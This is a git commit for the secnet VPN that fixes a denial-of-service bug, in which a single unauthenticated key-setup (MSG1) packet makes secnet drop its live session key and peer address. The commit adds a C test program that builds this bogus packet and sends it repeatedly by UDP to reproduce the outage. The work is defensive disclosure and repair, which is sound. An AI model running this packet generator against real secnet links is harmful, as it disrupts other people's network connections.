Security: Reduce impact of bogus key setup packet DoS

If a MSG1 (key setup initiation packet) is received containing
expected local and remote site names, the receiving secnet will start
a key setup attempt with details from that packet.

MSG1 packets are (almost necessarily) unauthenticated, so anyone on
the Internet can cause this to happen.  secnet is only willing to have
one key exchange attempt ongoing at once, and will ignore subsequent
incoming MSG1s until it has dealt with the first key exchange attempt.

So this means that an attacker who can send packets to any secnet
instance can DoS secnet at session setup (or key renewal) time.  All
the attacker needs to know is the secnet site names, and the IP
address and port number of one of the secnets.  The attacker does not
need to spoof their IP address or know any secret keys.

If the attacker sends a contant stream of bogus packets they can
probably prevent the link coming up at all.

This is difficult to fix without changing the protocol.

However, there is worse: when the key setup with the bogus peer
eventually fails, as it must, secnet invalidates the current session
key and its note of where to send actual data packets.  It will then
refuse to attempt a new key exchange for a timeout period.  During
this period, data packets will not flow.

This means that sending one fairly easy to construct udp packet can
cause a 20s outage.  Worse, after this one packet has had its effect,
the attacker can prevent the connection being reestablished, as
described above.

In this patch we fix the latter problem.  It is simply a bug that the
session key and data transport peer address (resulting from a previous
successful key exchange) are discarded when a key setup fails.

We also provide a test program "test-example/bogus-setutp-request.c"
which can be used to reproduce the problem.

Signed-off-by: Ian Jackson <ijackson@chiark.greenend.org.uk>

diff --git a/.gitignore b/.gitignore
index 68812912a1679024daf6887cc39f515702245c0c..a54ee6dd213bb06f85eb939b0587c59806afa44b 100644 (file)
--- a/.gitignore
+++ b/.gitignore
@@ -27,3 +27,4 @@ debian/secnet.substvars
 
 test-example/*.key
 test-example/sites.conf
+test-example/bogus-setup-request

diff --git a/site.c b/site.c
index 29efb25f9bd36e6cd79b376d651f0cdbea836027..006d9b494b93ebf092b66f65a5e6941458fa01e8 100644 (file)
--- a/site.c
+++ b/site.c
@@ -928,7 +928,6 @@ static void enter_state_wait(struct site *st)
     slog(st,LOG_STATE,"entering state WAIT");
     st->timeout=st->now+st->wait_timeout;
     st->state=SITE_WAIT;
-    st->peer_valid=False;
     set_link_quality(st);
     BUF_FREE(&st->buffer); /* will have had an outgoing packet in it */
     /* XXX Erase keys etc. */

diff --git a/test-example/bogus-setup-request.c b/test-example/bogus-setup-request.c
new file mode 100644 (file)
index 0000000..c9cfc3c
--- /dev/null
+++ b/test-example/bogus-setup-request.c
@@ -0,0 +1,115 @@
+/*
+   test-example/bogus-setup-request 127.0.0.1 19098 test-example/inside/inside 127.0.0.1 16096 test-example/outside/outside
+  */
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netdb.h>
+
+#include <assert.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+
+                                /*
+ | 00000  00 00 00 00 00 00 00 01  01 01 01 01 00 1a 74 65  ........ ......te |
+          ~~~~~~~~~~~ ~~~~~~~~~~~  ~~~~~~~~~~~ ~~~~~|~~~~~
+          sessionid   sender's     type         sender's
+          zero in     index        fixed for     name
+          msg1                     msg1
+
+ | 00010  73 74 2d 65 78 61 6d 70  6c 65 2f 69 6e 73 69 64  st-examp le/insid |
+ | 00020  65 2f 69 6e 73 69 64 65  00 1c 74 65 73 74 2d 65  e/inside ..test-e |
+                                   ~~~~~|~~~~~~~~~~~~~~~~~
+                                    recipient's name
+                                  
+ | 00030  78 61 6d 70 6c 65 2f 6f  75 74 73 69 64 65 2f 6f  xample/o utside/o |
+ | 00040  75 74 73 69 64 65 8d f0  3f 35 d6 c8 1f c0        utside.. ?5....   |
+          ~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~
+                           sender's nonce
+                                  */
+
+typedef struct {
+    const char *name;
+    union {
+       struct sockaddr sa;
+       struct sockaddr_in sin;
+    };
+} Ep;
+
+static void endaddr(Ep *ep, char **argv, int base) {
+    int r;
+    ep->sin.sin_family=AF_INET;
+    r=inet_aton(argv[base],&ep->sin.sin_addr); assert(r);
+    ep->sin.sin_port=htons(atoi(argv[base+1]));
+    ep->name=argv[base+2];
+}
+
+static void endname(uint8_t **msgp, const Ep *ep) {
+    int l=strlen(ep->name); assert(l<=65535);
+    *(*msgp)++ = l>>8;
+    *(*msgp)++ = l;
+    memcpy(*msgp, ep->name, l);
+    *msgp += l;
+}
+
+static Ep us, them;
+
+int main(int argc, char **argv) {
+    int r;
+
+    assert(argc==7);
+
+    endaddr(&us,argv,1);
+    endaddr(&them,argv,4);
+
+    static const uint8_t mprefix[]={
+       0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00, 0x00, 0x01,
+       0x01, 0x01, 0x01, 0x01,
+    };
+    static const uint8_t msuffix[]={
+       /* our nonce, fixed he he */
+       0x8d, 0xf0, 0x3f, 0x35, 0xd6, 0xc8, 0x1f, 0xc0
+    };
+    int msglen= (sizeof(mprefix) +
+                2+strlen(us.name) +
+                2+strlen(them.name) +
+                sizeof(msuffix));
+    uint8_t msg[msglen];
+    uint8_t *msgp=msg;
+
+#define PREFIXSUFFIX(prefixsuffix) do {                        \
+    memcpy(msgp,prefixsuffix,sizeof(prefixsuffix));    \
+    msgp += sizeof(prefixsuffix);                      \
+  }while(0)
+
+    PREFIXSUFFIX(mprefix);
+    
+    endname(&msgp,&us);
+    endname(&msgp,&them);
+
+    PREFIXSUFFIX(msuffix);
+
+    assert(msgp == msg+msglen);
+
+    struct protoent *proto=getprotobyname("udp");
+    int fd=socket(AF_INET, SOCK_DGRAM, proto->p_proto);
+    r=bind(fd,&us.sa,sizeof(us.sin)); if (r) { perror("bind us2"); exit(1); }
+
+    for (;;) {
+       r=sendto(fd,msg,msglen,0,&them.sa,sizeof(them.sin));
+       if (r < 0) perror("sendto");
+
+       r=getchar();
+       if (r==EOF) {
+           if (ferror(stdin)) { perror("getchar"); exit(1); }
+           break;
+       }
+       if (r!='\n')
+           break;
+    }
+    exit(0);
+}